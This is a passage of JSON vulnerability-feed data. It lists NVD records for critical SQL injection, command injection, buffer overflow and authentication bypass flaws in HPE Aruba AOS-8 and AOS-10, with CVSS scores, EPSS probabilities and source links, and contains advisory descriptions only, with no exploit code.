probability and percentile for CVE-2026-79859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79858","cveId":"CVE-2026-79858","aliases":[],"kind":"vulnerability","title":"An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8.","summary":"An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to obtain and modify sensitive information in the underlying database and to interrupt the normal operation of the affected service.","detail":"An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to obtain and modify sensitive information in the underlying database and to interrupt the normal operation of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.083Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79858","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0051,"percentile":0.43196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79858","type":"primary","publishedAt":"2026-10-22T19:17:58.083Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79857","cveId":"CVE-2026-79857","aliases":[],"kind":"vulnerability","title":"There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by...","summary":"There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets to the affected UDP port. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","detail":"There is a command injection vulnerability in the PAPI protocol (Aruba's access point management protocol) of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets to the affected UDP port. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.963Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":["HPE Aruba"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79857","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01415,"percentile":0.72558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79857","type":"primary","publishedAt":"2026-10-22T19:17:57.963Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79856","cveId":"CVE-2026-79856","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls.","summary":"A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.","detail":"A buffer overflow vulnerability exists in the PAPI protocol of AOS-8 that could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.857Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79856","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00611,"percentile":0.48923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79856","type":"primary","publishedAt":"2026-10-22T19:17:57.857Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79855","cveId":"CVE-2026-79855","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls.","summary":"An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation allows an attacker to gain administrative privileges leading to complete compromise of the AOS-8 host.","detail":"An authentication bypass vulnerability in the SSH daemon of AOS-8 allows an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation allows an attacker to gain administrative privileges leading to complete compromise of the AOS-8 host.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.743Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79855","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00753,"percentile":0.54785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79855","type":"primary","publishedAt":"2026-10-22T19:17:57.743Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79854","cveId":"CVE-2026-79854","aliases":[],"kind":"vulnerability","title":"A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance.","summary":"A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"A vulnerability in the affected interface of AOS-10 could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS-10 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.627Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79854","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00641,"percentile":0.50405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79854","type":"primary","publishedAt":"2026-10-22T19:17:57.627Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79853","cveId":"CVE-2026-79853","aliases":[],"kind":"vulnerability","title":"Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the...","summary":"Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the affected system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the affected system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.513Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79853","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00697,"percentile":0.52789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79853","type":"primary","publishedAt":"2026-10-22T19:17:57.513Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79852","cveId":"CVE-2026-79852","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance.","summary":"A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.410Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79852","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00641,"percentile":0.50406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79852","type":"primary","publishedAt":"2026-10-22T19:17:57.410Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79851","cveId":"CVE-2026-79851","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution.","summary":"Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system, leading to complete system compromise.","detail":"Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system, leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.290Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79851","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00761,"percentile":0.55045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79851","type":"primary","publishedAt":"2026-10-22T19:17:57.290Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79850","cveId":"CVE-2026-79850","aliases":[],"kind":"vulnerability","title":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the...","summary":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.","detail":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.183Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79850","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00689,"percentile":0.52468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79850","type":"primary","publishedAt":"2026-10-22T19:17:57.183Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79849","cveId":"CVE-2026-79849","aliases":[],"kind":"vulnerability","title":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance.","summary":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"Vulnerabilities in the 